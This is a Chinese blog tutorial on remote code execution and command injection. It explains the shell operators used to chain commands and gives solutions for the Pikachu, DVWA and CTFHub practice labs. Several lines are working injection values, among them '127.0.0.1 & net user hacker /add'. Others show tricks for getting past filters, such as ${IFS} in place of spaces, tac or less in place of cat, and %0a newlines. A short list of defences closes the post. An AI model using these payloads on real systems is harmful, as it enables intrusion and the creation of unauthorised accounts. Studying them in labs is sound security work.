9-远程代码执行渗透与防御

1、什么是远程代码执行

RCE漏洞是因为提供了命令执行的接口

1.1 漏洞危害

  • 获取服务器权限
  • 获取敏感数据文件
  • 写入恶意文件getshell
  • 植入木马病毒勒索软件等

2、RCE涉及函数


3、靶场案例

3.1 Windows命令拼接符号

符号 含义 示例
&& 左边的命令执行成功,右边的才执行 ping 127.0.0.1 && echo 'hello'
& 简单的拼接,不依赖前面的结果 ping 1111 & echo 'hello'
| 上一条命令的输出,作为下一条命令的参数 netstat -ano | findstr 3306
|| 左边的命令执行失败,右边的才会执行 ping baidu.com || ping baidu.net

3.2 Linux命令拼接符号

符号 含义 示例
; 没有任何逻辑关系的连接符
&& 左边的命令执行成功,右边的才执行 cp 1.txt 2.txt && cat 2.txt
| 上一条命令的输出,作为下一条命令的参数 netstat -an | grep 3306
|| 左边的命令执行失败,右边的才会执行 cat 3.txt || cat 2.txt
& 任务后台执行,与nohup命令功能差不多 java -jar test.jar > log.txt &

3.3 Pikachu靶场

3.1 exec "ping"

127.0.0.1 & ipconfig

3.2 exec "evel"

phpinfo();
system('ipconfig');

3.4 DVWA靶场

3.4.1 Low

127.0.0.1 & net user hacker /add

3.4.2 Medium

127.0.0.1 & ipconfig

3.4.3 High

过滤了'| '但是后面有空格
127.0.0.1|ipconfig

4、CTF题目(CTFHub)

4.1 eval执行

中国蚁剑连接,密码cmd

4.2 命令注入

127.0.0.1;cat 104731889012324.php|base64
再去网站进行base64解码

4.3 过滤cat

127.0.0.1;less flag_166202473811029.php|base64
绕过:tac从最后一行倒序显示、more根据窗口大小一页页的显示、less和more类似,但是优点是可以往前翻页,而且可以进行搜索字符、head只显示头几行、tail只显示最后几行、nl类似于cat -n显示时输出行号、tailf类似于tail -f

4.4 过滤空格

127.0.0.1;cat${IFS}flag_415086426367.php|base64
绕过:使用${IFS}、%09、<、>、<>、{,}、%20、IFS$9

4.5 过滤目录分隔符

127.0.0.1;cd flag_is_here;cat flag_281272110315443.php|base64

4.6 过滤运算符

没过滤到分号
127.0.0.1;cat 127.0.0.1;cat flag_44302103221895.php
然后右键查看网页源码

4.7 综合过滤练习

绕过:空格=${IFS}、flag=通配符f***、cat=more(less)
在地址栏输入:URL编码(%0a回车、%0d换行)

地址栏:ip=127.0.0.1%0Acd${IFS}f_is_here%0Amore${IFS}f_18329157039374.php

5、RCE防御措施

1、开源框架,升级到最新版本
2、尽量不要使用命令执行的函数
3、如果必须使用,需要做白名单处理
4、用正则表达式对用户输入的内容进行处理
5、使用WAF

posted @ 2024-12-08 15:03  xmh666  阅读(18)  评论(0编辑  收藏  举报